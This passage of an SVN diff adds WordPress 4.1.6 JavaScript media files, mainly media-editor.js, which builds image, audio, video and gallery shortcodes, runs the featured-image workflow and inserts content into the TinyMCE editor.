+	});
+
+	/**
+	 * wp.media.view.VideoDetails
+	 *
+	 * @constructor
+	 * @augments wp.media.view.MediaDetails
+	 * @augments wp.media.view.Settings.AttachmentDisplay
+	 * @augments wp.media.view.Settings
+	 * @augments wp.media.View
+	 * @augments wp.Backbone.View
+	 * @augments Backbone.View
+	 */
+	media.view.VideoDetails = media.view.MediaDetails.extend({
+		className: 'video-details',
+		template:  media.template('video-details'),
+
+		setMedia: function() {
+			var video = this.$('.wp-video-shortcode');
+
+			if ( video.find( 'source' ).length ) {
+				if ( video.is(':hidden') ) {
+					video.show();
+				}
+
+				if ( ! video.hasClass('youtube-video') ) {
+					this.media = media.view.MediaDetails.prepareSrc( video.get(0) );
+				} else {
+					this.media = video.get(0);
+				}
+			} else {
+				video.hide();
+				this.media = false;
+			}
+
+			return this;
+		}
+	});
+
+}(jQuery, _, Backbone));
Index: /tags/4.1.6/src/wp-includes/js/media-editor.js
===================================================================
--- /tags/4.1.6/src/wp-includes/js/media-editor.js	(revision 33402)
+++ /tags/4.1.6/src/wp-includes/js/media-editor.js	(revision 33402)
@@ -0,0 +1,1114 @@
+/* global getUserSetting, tinymce, QTags */
+
+// WordPress, TinyMCE, and Media
+// -----------------------------
+(function($, _){
+	/**
+	 * Stores the editors' `wp.media.controller.Frame` instances.
+	 *
+	 * @static
+	 */
+	var workflows = {};
+
+	/**
+	 * A helper mixin function to avoid truthy and falsey values being
+	 *   passed as an input that expects booleans. If key is undefined in the map,
+	 *   but has a default value, set it.
+	 *
+	 * @param {object} attrs Map of props from a shortcode or settings.
+	 * @param {string} key The key within the passed map to check for a value.
+	 * @returns {mixed|undefined} The original or coerced value of key within attrs
+	 */
+	wp.media.coerce = function ( attrs, key ) {
+		if ( _.isUndefined( attrs[ key ] ) && ! _.isUndefined( this.defaults[ key ] ) ) {
+			attrs[ key ] = this.defaults[ key ];
+		} else if ( 'true' === attrs[ key ] ) {
+			attrs[ key ] = true;
+		} else if ( 'false' === attrs[ key ] ) {
+			attrs[ key ] = false;
+		}
+		return attrs[ key ];
+	};
+
+	/**
+	 * wp.media.string
+	 * @namespace
+	 */
+	wp.media.string = {
+		/**
+		 * Joins the `props` and `attachment` objects,
+		 * outputting the proper object format based on the
+		 * attachment's type.
+		 *
+		 * @global wp.media.view.settings
+		 * @global getUserSetting()
+		 *
+		 * @param {Object} [props={}] Attachment details (align, link, size, etc).
+		 * @param {Object} attachment The attachment object, media version of Post.
+		 * @returns {Object} Joined props
+		 */
+		props: function( props, attachment ) {
+			var link, linkUrl, size, sizes, fallbacks,
+				defaultProps = wp.media.view.settings.defaultProps;
+
+			// Final fallbacks run after all processing has been completed.
+			fallbacks = function( props ) {
+				// Generate alt fallbacks and strip tags.
+				if ( 'image' === props.type && ! props.alt ) {
+					props.alt = props.caption || props.title || '';
+					props.alt = props.alt.replace( /<\/?[^>]+>/g, '' );
+					props.alt = props.alt.replace( /[\r\n]+/g, ' ' );
+				}
+
+				return props;
+			};
+
+			props = props ? _.clone( props ) : {};
+
+			if ( attachment && attachment.type ) {
+				props.type = attachment.type;
+			}
+
+			if ( 'image' === props.type ) {
+				props = _.defaults( props || {}, {
+					align:   defaultProps.align || getUserSetting( 'align', 'none' ),
+					size:    defaultProps.size  || getUserSetting( 'imgsize', 'medium' ),
+					url:     '',
+					classes: []
+				});
+			}
+
+			// All attachment-specific settings follow.
+			if ( ! attachment ) {
+				return fallbacks( props );
+			}
+
+			props.title = props.title || attachment.title;
+
+			link = props.link || defaultProps.link || getUserSetting( 'urlbutton', 'file' );
+			if ( 'file' === link || 'embed' === link ) {
+				linkUrl = attachment.url;
+			} else if ( 'post' === link ) {
+				linkUrl = attachment.link;
+			} else if ( 'custom' === link ) {
+				linkUrl = props.linkUrl;
+			}
+			props.linkUrl = linkUrl || '';
+
+			// Format properties for images.
+			if ( 'image' === attachment.type ) {
+				props.classes.push( 'wp-image-' + attachment.id );
+
+				sizes = attachment.sizes;
+				size = sizes && sizes[ props.size ] ? sizes[ props.size ] : attachment;
+
+				_.extend( props, _.pick( attachment, 'align', 'caption', 'alt' ), {
+					width:     size.width,
+					height:    size.height,
+					src:       size.url,
+					captionId: 'attachment_' + attachment.id
+				});
+			} else if ( 'video' === attachment.type || 'audio' === attachment.type ) {
+				_.extend( props, _.pick( attachment, 'title', 'type', 'icon', 'mime' ) );
+			// Format properties for non-images.
+			} else {
+				props.title = props.title || attachment.filename;
+				props.rel = props.rel || 'attachment wp-att-' + attachment.id;
+			}
+
+			return fallbacks( props );
+		},
+		/**
+		 * Create link markup that is suitable for passing to the editor
+		 *
+		 * @global wp.html.string
+		 *
+		 * @param {Object} props Attachment details (align, link, size, etc).
+		 * @param {Object} attachment The attachment object, media version of Post.
+		 * @returns {string} The link markup
+		 */
+		link: function( props, attachment ) {
+			var options;
+
+			props = wp.media.string.props( props, attachment );
+
+			options = {
+				tag:     'a',
+				content: props.title,
+				attrs:   {
+					href: props.linkUrl
+				}
+			};
+
+			if ( props.rel ) {
+				options.attrs.rel = props.rel;
+			}
+
+			return wp.html.string( options );
+		},
+		/**
+		 * Create an Audio shortcode string that is suitable for passing to the editor
+		 *
+		 * @param {Object} props Attachment details (align, link, size, etc).
+		 * @param {Object} attachment The attachment object, media version of Post.
+		 * @returns {string} The audio shortcode
+		 */
+		audio: function( props, attachment ) {
+			return wp.media.string._audioVideo( 'audio', props, attachment );
+		},
+		/**
+		 * Create a Video shortcode string that is suitable for passing to the editor
+		 *
+		 * @param {Object} props Attachment details (align, link, size, etc).
+		 * @param {Object} attachment The attachment object, media version of Post.
+		 * @returns {string} The video shortcode
+		 */
+		video: function( props, attachment ) {
+			return wp.media.string._audioVideo( 'video', props, attachment );
+		},
+		/**
+		 * Helper function to create a media shortcode string
+		 *
+		 * @access private
+		 *
+		 * @global wp.shortcode
+		 * @global wp.media.view.settings
+		 *
+		 * @param {string} type The shortcode tag name: 'audio' or 'video'.
+		 * @param {Object} props Attachment details (align, link, size, etc).
+		 * @param {Object} attachment The attachment object, media version of Post.
+		 * @returns {string} The media shortcode
+		 */
+		_audioVideo: function( type, props, attachment ) {
+			var shortcode, html, extension;
+
+			props = wp.media.string.props( props, attachment );
+			if ( props.link !== 'embed' )
+				return wp.media.string.link( props );
+
+			shortcode = {};
+
+			if ( 'video' === type ) {
+				if ( attachment.image && -1 === attachment.image.src.indexOf( attachment.icon ) ) {
+					shortcode.poster = attachment.image.src;
+				}
+
+				if ( attachment.width ) {
+					shortcode.width = attachment.width;
+				}
+
+				if ( attachment.height ) {
+					shortcode.height = attachment.height;
+				}
+			}
+
+			extension = attachment.filename.split('.').pop();
+
+			if ( _.contains( wp.media.view.settings.embedExts, extension ) ) {
+				shortcode[extension] = attachment.url;
+			} else {
+				// Render unsupported audio and video files as links.
+				return wp.media.string.link( props );
+			}
+
+			html = wp.shortcode.string({
+				tag:     type,
+				attrs:   shortcode
+			});
+
+			return html;
+		},
+		/**
+		 * Create image markup, optionally with a link and/or wrapped in a caption shortcode,
+		 *  that is suitable for passing to the editor
+		 *
+		 * @global wp.html
+		 * @global wp.shortcode
+		 *
+		 * @param {Object} props Attachment details (align, link, size, etc).
+		 * @param {Object} attachment The attachment object, media version of Post.
+		 * @returns {string}
+		 */
+		image: function( props, attachment ) {
+			var img = {},
+				options, classes, shortcode, html;
+
+			props = wp.media.string.props( props, attachment );
+			classes = props.classes || [];
+
+			img.src = ! _.isUndefined( attachment ) ? attachment.url : props.url;
+			_.extend( img, _.pick( props, 'width', 'height', 'alt' ) );
+
+			// Only assign the align class to the image if we're not printing
+			// a caption, since the alignment is sent to the shortcode.
+			if ( props.align && ! props.caption ) {
+				classes.push( 'align' + props.align );
+			}
+
+			if ( props.size ) {
+				classes.push( 'size-' + props.size );
+			}
+
+			img['class'] = _.compact( classes ).join(' ');
+
+			// Generate `img` tag options.
+			options = {
+				tag:    'img',
+				attrs:  img,
+				single: true
+			};
+
+			// Generate the `a` element options, if they exist.
+			if ( props.linkUrl ) {
+				options = {
+					tag:   'a',
+					attrs: {
+						href: props.linkUrl
+					},
+					content: options
+				};
+			}
+
+			html = wp.html.string( options );
+
+			// Generate the caption shortcode.
+			if ( props.caption ) {
+				shortcode = {};
+
+				if ( img.width ) {
+					shortcode.width = img.width;
+				}
+
+				if ( props.captionId ) {
+					shortcode.id = props.captionId;
+				}
+
+				if ( props.align ) {
+					shortcode.align = 'align' + props.align;
+				}
+
+				html = wp.shortcode.string({
+					tag:     'caption',
+					attrs:   shortcode,
+					content: html + ' ' + props.caption
+				});
+			}
+
+			return html;
+		}
+	};
+
+	wp.media.embed = {
+		coerce : wp.media.coerce,
+
+		defaults : {
+			url : '',
+			width: '',
+			height: ''
+		},
+
+		edit : function( data, isURL ) {
+			var frame, props = {}, shortcode;
+
+			if ( isURL ) {
+				props.url = data.replace(/<[^>]+>/g, '');
+			} else {
+				shortcode = wp.shortcode.next( 'embed', data ).shortcode;
+
+				props = _.defaults( shortcode.attrs.named, this.defaults );
+				if ( shortcode.content ) {
+					props.url = shortcode.content;
+				}
+			}
+
+			frame = wp.media({
+				frame: 'post',
+				state: 'embed',
+				metadata: props
+			});
+
+			return frame;
+		},
+
+		shortcode : function( model ) {
+			var self = this, content;
+
+			_.each( this.defaults, function( value, key ) {
+				model[ key ] = self.coerce( model, key );
+
+				if ( value === model[ key ] ) {
+					delete model[ key ];
+				}
+			});
+
+			content = model.url;
+			delete model.url;
+
+			return new wp.shortcode({
+				tag: 'embed',
+				attrs: model,
+				content: content
+			});
+		}
+	};
+
+	wp.media.collection = function(attributes) {
+		var collections = {};
+
+		return _.extend( {
+			coerce : wp.media.coerce,
+			/**
+			 * Retrieve attachments based on the properties of the passed shortcode
+			 *
+			 * @global wp.media.query
+			 *
+			 * @param {wp.shortcode} shortcode An instance of wp.shortcode().
+			 * @returns {wp.media.model.Attachments} A Backbone.Collection containing
+			 *      the media items belonging to a collection.
+			 *      The query[ this.tag ] property is a Backbone.Model
+			 *          containing the 'props' for the collection.
+			 */
+			attachments: function( shortcode ) {
+				var shortcodeString = shortcode.string(),
+					result = collections[ shortcodeString ],
+					attrs, args, query, others, self = this;
+
+				delete collections[ shortcodeString ];
+				if ( result ) {
+					return result;
+				}
+				// Fill the default shortcode attributes.
+				attrs = _.defaults( shortcode.attrs.named, this.defaults );
+				args  = _.pick( attrs, 'orderby', 'order' );
+
+				args.type    = this.type;
+				args.perPage = -1;
+
+				// Mark the `orderby` override attribute.
+				if ( undefined !== attrs.orderby ) {
+					attrs._orderByField = attrs.orderby;
+				}
+
+				if ( 'rand' === attrs.orderby ) {
+					attrs._orderbyRandom = true;
+				}
+
+				// Map the `orderby` attribute to the corresponding model property.
+				if ( ! attrs.orderby || /^menu_order(?: ID)?$/i.test( attrs.orderby ) ) {
+					args.orderby = 'menuOrder';
+				}
+
+				// Map the `ids` param to the correct query args.
+				if ( attrs.ids ) {
+					args.post__in = attrs.ids.split(',');
+					args.orderby  = 'post__in';
+				} else if ( attrs.include ) {
+					args.post__in = attrs.include.split(',');
+				}
+
+				if ( attrs.exclude ) {
+					args.post__not_in = attrs.exclude.split(',');
+				}
+
+				if ( ! args.post__in ) {
+					args.uploadedTo = attrs.id;
+				}
+
+				// Collect the attributes that were not included in `args`.
+				others = _.omit( attrs, 'id', 'ids', 'include', 'exclude', 'orderby', 'order' );
+
+				_.each( this.defaults, function( value, key ) {
+					others[ key ] = self.coerce( others, key );
+				});
+
+				query = wp.media.query( args );
+				query[ this.tag ] = new Backbone.Model( others );
+				return query;
+			},
+			/**
+			 * Triggered when clicking 'Insert {label}' or 'Update {label}'
+			 *
+			 * @global wp.shortcode
+			 * @global wp.media.model.Attachments
+			 *
+			 * @param {wp.media.model.Attachments} attachments A Backbone.Collection containing
+			 *      the media items belonging to a collection.
+			 *      The query[ this.tag ] property is a Backbone.Model
+			 *          containing the 'props' for the collection.
+			 * @returns {wp.shortcode}
+			 */
+			shortcode: function( attachments ) {
+				var props = attachments.props.toJSON(),
+					attrs = _.pick( props, 'orderby', 'order' ),
+					shortcode, clone;
+
+				if ( attachments.type ) {
+					attrs.type = attachments.type;
+					delete attachments.type;
+				}
+
+				if ( attachments[this.tag] ) {
+					_.extend( attrs, attachments[this.tag].toJSON() );
+				}
+
+				// Convert all gallery shortcodes to use the `ids` property.
+				// Ignore `post__in` and `post__not_in`; the attachments in
+				// the collection will already reflect those properties.
+				attrs.ids = attachments.pluck('id');
+
+				// Copy the `uploadedTo` post ID.
+				if ( props.uploadedTo ) {
+					attrs.id = props.uploadedTo;
+				}
+				// Check if the gallery is randomly ordered.
+				delete attrs.orderby;
+
+				if ( attrs._orderbyRandom ) {
+					attrs.orderby = 'rand';
+				} else if ( attrs._orderByField && attrs._orderByField != 'rand' ) {
+					attrs.orderby = attrs._orderByField;
+				}
+
+				delete attrs._orderbyRandom;
+				delete attrs._orderByField;
+
+				// If the `ids` attribute is set and `orderby` attribute
+				// is the default value, clear it for cleaner output.
+				if ( attrs.ids && 'post__in' === attrs.orderby ) {
+					delete attrs.orderby;
+				}
+
+				attrs = this.setDefaults( attrs );
+
+				shortcode = new wp.shortcode({
+					tag:    this.tag,
+					attrs:  attrs,
+					type:   'single'
+				});
+
+				// Use a cloned version of the gallery.
+				clone = new wp.media.model.Attachments( attachments.models, {
+					props: props
+				});
+				clone[ this.tag ] = attachments[ this.tag ];
+				collections[ shortcode.string() ] = clone;
+
+				return shortcode;
+			},
+			/**
+			 * Triggered when double-clicking a collection shortcode placeholder
+			 *   in the editor
+			 *
+			 * @global wp.shortcode
+			 * @global wp.media.model.Selection
+			 * @global wp.media.view.l10n
+			 *
+			 * @param {string} content Content that is searched for possible
+			 *    shortcode markup matching the passed tag name,
+			 *
+			 * @this wp.media.{prop}
+			 *
+			 * @returns {wp.media.view.MediaFrame.Select} A media workflow.
+			 */
+			edit: function( content ) {
+				var shortcode = wp.shortcode.next( this.tag, content ),
+					defaultPostId = this.defaults.id,
+					attachments, selection, state;
+
+				// Bail if we didn't match the shortcode or all of the content.
+				if ( ! shortcode || shortcode.content !== content ) {
+					return;
+				}
+
+				// Ignore the rest of the match object.
+				shortcode = shortcode.shortcode;
+
+				if ( _.isUndefined( shortcode.get('id') ) && ! _.isUndefined( defaultPostId ) ) {
+					shortcode.set( 'id', defaultPostId );
+				}
+
+				attachments = this.attachments( shortcode );
+
+				selection = new wp.media.model.Selection( attachments.models, {
+					props:    attachments.props.toJSON(),
+					multiple: true
+				});
+
+				selection[ this.tag ] = attachments[ this.tag ];
+
+				// Fetch the query's attachments, and then break ties from the
+				// query to allow for sorting.
+				selection.more().done( function() {
+					// Break ties with the query.
+					selection.props.set({ query: false });
+					selection.unmirror();
+					selection.props.unset('orderby');
+				});
+
+				// Destroy the previous gallery frame.
+				if ( this.frame ) {
+					this.frame.dispose();
+				}
+
+				if ( shortcode.attrs.named.type && 'video' === shortcode.attrs.named.type ) {
+					state = 'video-' + this.tag + '-edit';
+				} else {
+					state = this.tag + '-edit';
+				}
+
+				// Store the current frame.
+				this.frame = wp.media({
+					frame:     'post',
+					state:     state,
+					title:     this.editTitle,
+					editing:   true,
+					multiple:  true,
+					selection: selection
+				}).open();
+
+				return this.frame;
+			},
+
+			setDefaults: function( attrs ) {
+				var self = this;
+				// Remove default attributes from the shortcode.
+				_.each( this.defaults, function( value, key ) {
+					attrs[ key ] = self.coerce( attrs, key );
+					if ( value === attrs[ key ] ) {
+						delete attrs[ key ];
+					}
+				});
+
+				return attrs;
+			}
+		}, attributes );
+	};
+
+	wp.media._galleryDefaults = {
+		itemtag: 'dl',
+		icontag: 'dt',
+		captiontag: 'dd',
+		columns: '3',
+		link: 'post',
+		size: 'thumbnail',
+		order: 'ASC',
+		id: wp.media.view.settings.post && wp.media.view.settings.post.id,
+		orderby : 'menu_order ID'
+	};
+
+	if ( wp.media.view.settings.galleryDefaults ) {
+		wp.media.galleryDefaults = _.extend( {}, wp.media._galleryDefaults, wp.media.view.settings.galleryDefaults );
+	} else {
+		wp.media.galleryDefaults = wp.media._galleryDefaults;
+	}
+
+	wp.media.gallery = new wp.media.collection({
+		tag: 'gallery',
+		type : 'image',
+		editTitle : wp.media.view.l10n.editGalleryTitle,
+		defaults : wp.media.galleryDefaults,
+
+		setDefaults: function( attrs ) {
+			var self = this, changed = ! _.isEqual( wp.media.galleryDefaults, wp.media._galleryDefaults );
+			_.each( this.defaults, function( value, key ) {
+				attrs[ key ] = self.coerce( attrs, key );
+				if ( value === attrs[ key ] && ( ! changed || value === wp.media._galleryDefaults[ key ] ) ) {
+					delete attrs[ key ];
+				}
+			} );
+			return attrs;
+		}
+	});
+
+	/**
+	 * wp.media.featuredImage
+	 * @namespace
+	 */
+	wp.media.featuredImage = {
+		/**
+		 * Get the featured image post ID
+		 *
+		 * @global wp.media.view.settings
+		 *
+		 * @returns {wp.media.view.settings.post.featuredImageId|number}
+		 */
+		get: function() {
+			return wp.media.view.settings.post.featuredImageId;
+		},
+		/**
+		 * Set the featured image id, save the post thumbnail data and
+		 * set the HTML in the post meta box to the new featured image.
+		 *
+		 * @global wp.media.view.settings
+		 * @global wp.media.post
+		 *
+		 * @param {number} id The post ID of the featured image, or -1 to unset it.
+		 */
+		set: function( id ) {
+			var settings = wp.media.view.settings;
+
+			settings.post.featuredImageId = id;
+
+			wp.media.post( 'set-post-thumbnail', {
+				json:         true,
+				post_id:      settings.post.id,
+				thumbnail_id: settings.post.featuredImageId,
+				_wpnonce:     settings.post.nonce
+			}).done( function( html ) {
+				$( '.inside', '#postimagediv' ).html( html );
+			});
+		},
+		/**
+		 * The Featured Image workflow
+		 *
+		 * @global wp.media.controller.FeaturedImage
+		 * @global wp.media.view.l10n
+		 *
+		 * @this wp.media.featuredImage
+		 *
+		 * @returns {wp.media.view.MediaFrame.Select} A media workflow.
+		 */
+		frame: function() {
+			if ( this._frame ) {
+				return this._frame;
+			}
+
+			this._frame = wp.media({
+				state: 'featured-image',
+				states: [ new wp.media.controller.FeaturedImage() , new wp.media.controller.EditImage() ]
+			});
+
+			this._frame.on( 'toolbar:create:featured-image', function( toolbar ) {
+				/**
+				 * @this wp.media.view.MediaFrame.Select
+				 */
+				this.createSelectToolbar( toolbar, {
+					text: wp.media.view.l10n.setFeaturedImage
+				});
+			}, this._frame );
+
+			this._frame.on( 'content:render:edit-image', function() {
+				var selection = this.state('featured-image').get('selection'),
+					view = new wp.media.view.EditImage( { model: selection.single(), controller: this } ).render();
+
+				this.content.set( view );
+
+				// after bringing in the frame, load the actual editor via an ajax call
+				view.loadEditor();
+
+			}, this._frame );
+
+			this._frame.state('featured-image').on( 'select', this.select );
+			return this._frame;
+		},
+		/**
+		 * 'select' callback for Featured Image workflow, triggered when
+		 *  the 'Set Featured Image' button is clicked in the media modal.
+		 *
+		 * @global wp.media.view.settings
+		 *
+		 * @this wp.media.controller.FeaturedImage
+		 */
+		select: function() {
+			var selection = this.get('selection').single();
+
+			if ( ! wp.media.view.settings.post.featuredImageId ) {
+				return;
+			}
+
+			wp.media.featuredImage.set( selection ? selection.id : -1 );
+		},
+		/**
+		 * Open the content media manager to the 'featured image' tab when
+		 * the post thumbnail is clicked.
+		 *
+		 * Update the featured image id when the 'remove' link is clicked.
+		 *
+		 * @global wp.media.view.settings
+		 */
+		init: function() {
+			$('#postimagediv').on( 'click', '#set-post-thumbnail', function( event ) {
+				event.preventDefault();
+				// Stop propagation to prevent thickbox from activating.
+				event.stopPropagation();
+
+				wp.media.featuredImage.frame().open();
+			}).on( 'click', '#remove-post-thumbnail', function() {
+				wp.media.view.settings.post.featuredImageId = -1;
+			});
+		}
+	};
+
+	$( wp.media.featuredImage.init );
+
+	/**
+	 * wp.media.editor
+	 * @namespace
+	 */
+	wp.media.editor = {
+		/**
+		 * Send content to the editor
+		 *
+		 * @global tinymce
+		 * @global QTags
+		 * @global wpActiveEditor
+		 * @global tb_remove() - Possibly overloaded by legacy plugins
+		 *
+		 * @param {string} html Content to send to the editor
+		 */
+		insert: function( html ) {
+			var editor, wpActiveEditor,
+				hasTinymce = ! _.isUndefined( window.tinymce ),
+				hasQuicktags = ! _.isUndefined( window.QTags );
+
+			if ( this.activeEditor ) {
+				wpActiveEditor = window.wpActiveEditor = this.activeEditor;
+			} else {
+				wpActiveEditor = window.wpActiveEditor;
+			}
+
+			// Delegate to the global `send_to_editor` if it exists.
+			// This attempts to play nice with any themes/plugins that have
+			// overridden the insert functionality.
+			if ( window.send_to_editor ) {
+				return window.send_to_editor.apply( this, arguments );
+			}
+
+			if ( ! wpActiveEditor ) {
+				if ( hasTinymce && tinymce.activeEditor ) {
+					editor = tinymce.activeEditor;
+					wpActiveEditor = window.wpActiveEditor = editor.id;
+				} else if ( ! hasQuicktags ) {
+					return false;
+				}
+			} else if ( hasTinymce ) {
+				editor = tinymce.get( wpActiveEditor );
+			}
+
+			if ( editor && ! editor.isHidden() ) {
+				editor.execCommand( 'mceInsertContent', false, html );
+			} else if ( hasQuicktags ) {
+				QTags.insertContent( html );
+			} else {
+				document.getElementById( wpActiveEditor ).value += html;
+			}
+
+			// If the old thickbox remove function exists, call it in case
+			// a theme/plugin overloaded it.
+			if ( window.tb_remove ) {
+				try { window.tb_remove(); } catch( e ) {}
+			}
+		},
+
+		/**
+		 * Setup 'workflow' and add to the 'workflows' cache. 'open' can
+		 *  subsequently be called upon it.
+		 *
+		 * @global wp.media.view.l10n
+		 *
+		 * @param {string} id A slug used to identify the workflow.
+		 * @param {Object} [options={}]
+		 *
+		 * @this wp.media.editor
+		 *
+		 * @returns {wp.media.view.MediaFrame.Select} A media workflow.
+		 */
+		add: function( id, options ) {
+			var workflow = this.get( id );
+
+			// only add once: if exists return existing
+			if ( workflow ) {
+				return workflow;
+			}
+
+			workflow = workflows[ id ] = wp.media( _.defaults( options || {}, {
+				frame:    'post',
+				state:    'insert',
+				title:    wp.media.view.l10n.addMedia,
+				multiple: true
+			} ) );
+
+			workflow.on( 'insert', function( selection ) {
+				var state = workflow.state();
+
+				selection = selection || state.get('selection');
+
+				if ( ! selection )
+					return;
+
+				$.when.apply( $, selection.map( function( attachment ) {
+					var display = state.display( attachment ).toJSON();
+					/**
+					 * @this wp.media.editor
+					 */
+					return this.send.attachment( display, attachment.toJSON() );
+				}, this ) ).done( function() {
+					wp.media.editor.insert( _.toArray( arguments ).join('\n\n') );
+				});
+			}, this );
+
+			workflow.state('gallery-edit').on( 'update', function( selection ) {
+				/**
+				 * @this wp.media.editor
+				 */
+				this.insert( wp.media.gallery.shortcode( selection ).string() );
+			}, this );
+
+			workflow.state('playlist-edit').on( 'update', function( selection ) {
+				/**
+				 * @this wp.media.editor
+				 */
+				this.insert( wp.media.playlist.shortcode( selection ).string() );
+			}, this );
+
+			workflow.state('video-playlist-edit').on( 'update', function( selection ) {
+				/**
+				 * @this wp.media.editor
+				 */
+				this.insert( wp.media.playlist.shortcode( selection ).string() );
+			}, this );
+
+			workflow.state('embed').on( 'select', function() {
+				/**
+				 * @this wp.media.editor
+				 */
+				var state = workflow.state(),
+					type = state.get('type'),
+					embed = state.props.toJSON();
+
+				embed.url = embed.url || '';
+
+				if ( 'link' === type ) {
+					_.defaults( embed, {
+						title:   embed.url,
+						linkUrl: embed.url
+					});
+
+					this.send.link( embed ).done( function( resp ) {
+						wp.media.editor.insert( resp );
+					});
+
+				} else if ( 'image' === type ) {
+					_.defaults( embed, {
+						title:   embed.url,
+						linkUrl: '',
+						align:   'none',
+						link:    'none'
+					});
+
+					if ( 'none' === embed.link ) {
+						embed.linkUrl = '';
+					} else if ( 'file' === embed.link ) {
+						embed.linkUrl = embed.url;
+					}
+
+					this.insert( wp.media.string.image( embed ) );
+				}
+			}, this );
+
+			workflow.state('featured-image').on( 'select', wp.media.featuredImage.select );
+			workflow.setState( workflow.options.state );
+			return workflow;
+		},
+		/**
+		 * Determines the proper current workflow id
+		 *
+		 * @global wpActiveEditor
+		 * @global tinymce
+		 *
+		 * @param {string} [id=''] A slug used to identify the workflow.
+		 *
+		 * @returns {wpActiveEditor|string|tinymce.activeEditor.id}
+		 */
+		id: function( id ) {
+			if ( id ) {
+				return id;
+			}
+
+			// If an empty `id` is provided, default to `wpActiveEditor`.
+			id = window.wpActiveEditor;
+
+			// If that doesn't work, fall back to `tinymce.activeEditor.id`.
+			if ( ! id && ! _.isUndefined( window.tinymce ) && tinymce.activeEditor ) {
+				id = tinymce.activeEditor.id;
+			}
+
+			// Last but not least, fall back to the empty string.
+			id = id || '';
+			return id;
+		},
+		/**
+		 * Return the workflow specified by id
+		 *
+		 * @param {string} id A slug used to identify the workflow.
+		 *
+		 * @this wp.media.editor
+		 *
+		 * @returns {wp.media.view.MediaFrame} A media workflow.
+		 */
+		get: function( id ) {
+			id = this.id( id );
+			return workflows[ id ];
+		},
+		/**
+		 * Remove the workflow represented by id from the workflow cache
+		 *
+		 * @param {string} id A slug used to identify the workflow.
+		 *
+		 * @this wp.media.editor
+		 */
+		remove: function( id ) {
+			id = this.id( id );
+			delete workflows[ id ];
+		},
+		/**
+		 * @namespace
+		 */
+		send: {
+			/**
+			 * Called when sending an attachment to the editor
+			 *   from the medial modal.
+			 *
+			 * @global wp.media.view.settings
+			 * @global wp.media.post
+			 *
+			 * @param {Object} props Attachment details (align, link, size, etc).
+			 * @param {Object} attachment The attachment object, media version of Post.
+			 * @returns {Promise}
+			 */
+			attachment: function( props, attachment ) {
+				var caption = attachment.caption,
+					options, html;
+
+				// If captions are disabled, clear the caption.
+				if ( ! wp.media.view.settings.captions ) {
+					delete attachment.caption;
+				}
+
+				props = wp.media.string.props( props, attachment );
+
+				options = {
+					id:           attachment.id,
+					post_content: attachment.description,
+					post_excerpt: caption
+				};
+
+				if ( props.linkUrl ) {
+					options.url = props.linkUrl;
+				}
+
+				if ( 'image' === attachment.type ) {
+					html = wp.media.string.image( props );
+
+					_.each({
+						align: 'align',
+						size:  'image-size',
+						alt:   'image_alt'
+					}, function( option, prop ) {
+						if ( props[ prop ] )
+							options[ option ] = props[ prop ];
+					});
+				} else if ( 'video' === attachment.type ) {
+					html = wp.media.string.video( props, attachment );
+				} else if ( 'audio' === attachment.type ) {
+					html = wp.media.string.audio( props, attachment );
+				} else {
+					html = wp.media.string.link( props );
+					options.post_title = props.title;
+				}
+
+				return wp.media.post( 'send-attachment-to-editor', {
+					nonce:      wp.media.view.settings.nonce.sendToEditor,
+					attachment: options,
+					html:       html,
+					post_id:    wp.media.view.settings.post.id
+				});
+			},
+			/**
+			 * Called when 'Insert From URL' source is not an image. Example: YouTube url.
+			 *
+			 * @global wp.media.view.settings
+			 *
+			 * @param {Object} embed
+			 * @returns {Promise}
+			 */
+			link: function( embed ) {
+				return wp.media.post( 'send-link-to-editor', {
+					nonce:   wp.media.view.settings.nonce.sendToEditor,
+					src:     embed.linkUrl,
+					title:   embed.title,
+					html:    wp.media.string.link( embed ),
+					post_id: wp.media.view.settings.post.id
+				});
+			}
+		},
+		/**
+		 * Open a workflow
+		 *
+		 * @param {string} [id=undefined] Optional. A slug used to identify the workflow.
+		 * @param {Object} [options={}]
+		 *
+		 * @this wp.media.editor
+		 *
+		 * @returns {wp.media.view.MediaFrame}
+		 */
+		open: function( id, options ) {
+			var workflow;
+
+			options = options || {};
+
+			id = this.id( id );
+			this.activeEditor = id;
+
+			workflow = this.get( id );
+
+			// Redo workflow if state has changed
+			if ( ! workflow || ( workflow.options && options.state !== workflow.options.state ) ) {
+				workflow = this.add( id, options );
+			}
+
+			return workflow.open();
+		},
+
+		/**
+		 * Bind click event for .insert-media using event delegation
+		 *
+		 * @global wp.media.view.l10n
+		 */
+		init: function() {
+			$(document.body)
+				.on( 'click.add-media-button', '.insert-media', function( event ) {
+					var elem = $( event.currentTarget ),
+						editor = elem.data('editor'),
+						options = {
+							frame:    'post',
+							state:    'insert',
+							title:    wp.media.view.l10n.addMedia,
+							multiple: true
+						};
+
+					event.preventDefault();
+
+					// Remove focus from the `.insert-media` button.
+					// Prevents Opera from showing the outline of the button
+					// above the modal.
+					//
+					// See: https://core.trac.wordpress.org/ticket/22445
+					elem.blur();
+
+					if ( elem.hasClass( 'gallery' ) ) {
+						options.state = 'gallery';
+						options.title = wp.media.view.l10n.createGalleryTitle;
+					}
+
+					wp.media.editor.open( editor, options );
+				});
+
+			// Initialize and render the Editor drag-and-drop uploader.
+			new wp.media.view.EditorUploader().render();
+		}
+	};
+
+	_.bindAll( wp.media.editor, 'open' );
+	$( wp.media.editor.init );
+}(jQuery, _));
Index: /tags/4.1.6/src/wp-includes/js/media-grid.js
===================================================================
--- /tags/4.1.6/src/wp-includes/js/media-grid.js	(revision 33402)
+++ /tags/4.1.6/src/wp-includes/js/media-grid.js	(revision 33402)
@@ -0,0 +1,734 @@
+/* global _wpMediaViewsL10n, MediaElementPlayer, _wpMediaGridSettings */
+(function($, _, Backbone, wp) {
+	// Local reference to the WordPress media namespace.
+	var media = wp.media, l10n;
+
+	// Link localized strings and settings.
+	if ( media.view.l10n ) {
+		l10n = media.view.l10n;
+	} else {
+		l10n = media.view.l10n = typeof _wpMediaViewsL10n === 'undefined' ? {} : _wpMediaViewsL10n;
+		delete l10n.settings;
+	}
+
+	/**
+	 * wp.media.controller.EditAttachmentMetadata
+	 *
+	 * A state for editing an attachment's metadata.
+	 *
+	 * @constructor
+	 * @augments wp.media.controller.State
+	 * @augments Backbone.Model
+	 */
+	media.controller.EditAttachmentMetadata = media.controller.State.extend({
+		defaults: {
+			id:      'edit-attachment',
+			// Title string passed to the frame's title region view.
+			title:   l10n.attachmentDetails,
+			// Region mode defaults.
+			content: 'edit-metadata',
+			menu:    false,
+			toolbar: false,
+			router:  false
+		}
+	});
+
+	/**
+	 * wp.media.view.MediaFrame.Manage
+	 *
